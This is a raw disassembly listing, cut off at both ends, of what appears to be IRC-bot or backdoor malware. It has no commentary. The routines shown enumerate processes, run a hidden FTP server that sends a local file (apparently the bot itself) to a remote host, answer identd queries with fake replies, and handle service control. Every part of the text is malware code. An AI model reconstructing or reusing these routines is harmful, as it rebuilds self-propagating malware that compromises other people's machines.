dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_401613j var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018D9 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019B5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014D3 push eax mov ecx, edi call sub_401681 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_401703 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014D8 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jz short loc_41E7E2 mov ebp, dword_50F8D0 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017E4 push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401816 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014D3 push eax push offset dword_44402C lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016E0 ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402144 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019B5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B40 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_40145B mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_50F8D0 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017E4 push eax push edi push offset dword_444020 mov ecx, ebp call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_40182A lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017E4 push eax call sub_4019FB add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014D3 push eax push offset dword_444018 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_44400C lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push ebx call sub_4018A7 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_401FE6j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_50F8D0 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472B7 call sub_401A32 lea edx, [ebp-14h] mov ecx, offset byte_4E6EDB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:0044154Co mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DE3j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FBE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FBE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FBE mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020A9j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_436840 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44768F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E6EDB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E6EDB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E6E84 test al, al jz loc_41F650 push ebx mov ebx, dword_50FB08 push ebp mov ebp, dword_50FC8C loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx call near ptr 71AC0B50h nop mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_447DF8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44768F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_401424 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C5D push eax call sub_4015EB add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014C9 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FBE mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401861 push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016AE push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx call sub_5EFFD5 nop mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401A8C add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017E4 push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi nop call near ptr 77C41574h push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax nop call near ptr 77C411FBh mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_447DF8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx call near ptr 71AB9639h nop loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j nop call near ptr 2821BE4h loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E6E84 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E6ED9, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_4472BB xor ebx, ebx cmp cl, bl mov byte_4E6ED9, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_401FEB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_401424 mov [esp+0A0h+var_4], ebx call sub_401EEC mov esi, dword_50FABC call esi ; rand cdq mov ecx, 3 push offset byte_446F70 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015D7 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_401424 lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FBE call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+0A4h+var_78] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_40146F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017E4 push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5EFFD5 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp call near ptr 71AB428Ah nop mov esi, dword_50FC88 push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E6ED9, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h nop call near ptr 2821BE4h jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_50FC88 loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi ; closesocket loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50BB68 mov dword_50BB4C, 4 call sub_401DCA jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50BB68 mov dword_50BB4C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50BB68 xor eax, eax mov dword_50BB54, eax mov dword_50BB4C, 1 mov dword_50BB5C, eax mov dword_50BB60, eax call sub_401744 loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50BB6C push offset dword_50BB48 push eax mov dword_50BB4C, 4 nop call near ptr 28E07A6h retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401956j push esi xor esi, esi push offset sub_401ABE mov ecx, offset byte_44794F mov dword_50BB48, 20h mov dword_50BB4C, 2 mov dword_50BB50, 3 mov dword_50BB54, esi mov dword_50BB58, esi mov dword_50BB5C, esi mov dword_50BB60, esi call sub_4017E4 push eax nop call near ptr 28E044Ah cmp eax, esi mov dword_50BB6C, eax jz short loc_41FBAA push offset dword_50BB48 push eax mov dword_50BB4C, 4 mov dword_50BB5C, esi mov 